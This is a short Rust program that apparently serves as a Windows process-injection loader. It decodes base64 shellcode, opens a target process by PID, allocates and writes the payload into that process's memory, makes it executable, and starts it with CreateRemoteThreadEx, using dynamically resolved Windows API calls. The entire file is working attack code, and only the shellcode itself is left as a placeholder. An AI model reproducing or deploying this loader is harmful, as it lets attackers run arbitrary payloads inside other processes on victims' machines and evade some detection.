use dynamic_winapi::um::{
    processthreadsapi::{CreateRemoteThreadEx, OpenProcess},
    memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
};
use winapi::ctypes::c_void;
use winapi::um::winnt::{
    MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS,
};

fn main() {
    // insert target PID
    let pid = 5100;
    // insert base64 encoded shellcode
    let shellcode_b64 = "<insert-valid-base64>";
    let mut shellcode = base64::decode(shellcode_b64).unwrap();
    let shellcode_ptr: *mut c_void = shellcode.as_mut_ptr() as *mut c_void; 

    // get process handle
    let handle = unsafe {OpenProcess().unwrap()(
        PROCESS_ALL_ACCESS,
        0x01,
        pid
    )};

    // alloc payload
    let addr_shellcode = unsafe {VirtualAllocEx().unwrap()(
        handle,
        0 as _,
        shellcode.len(),
        MEM_COMMIT,
        PAGE_READWRITE
    )};
    let mut ret_len: usize = 0;
    let _ = unsafe {WriteProcessMemory().unwrap()(
        handle,
        addr_shellcode,
        shellcode_ptr,
        shellcode.len(),
        &mut ret_len
    )};

    // protect and execute
    let mut old_protect: u32 = 0;
    let _ = unsafe {VirtualProtectEx().unwrap()(
        handle,
        addr_shellcode,
        shellcode.len(),
        PAGE_EXECUTE_READ,
        &mut old_protect
    )};
    let _ = unsafe {CreateRemoteThreadEx().unwrap()(
        handle,
        0 as _,
        0,
        std::mem::transmute(addr_shellcode),
        0 as _,
        0,
        0 as _,
        0 as _
    )};
}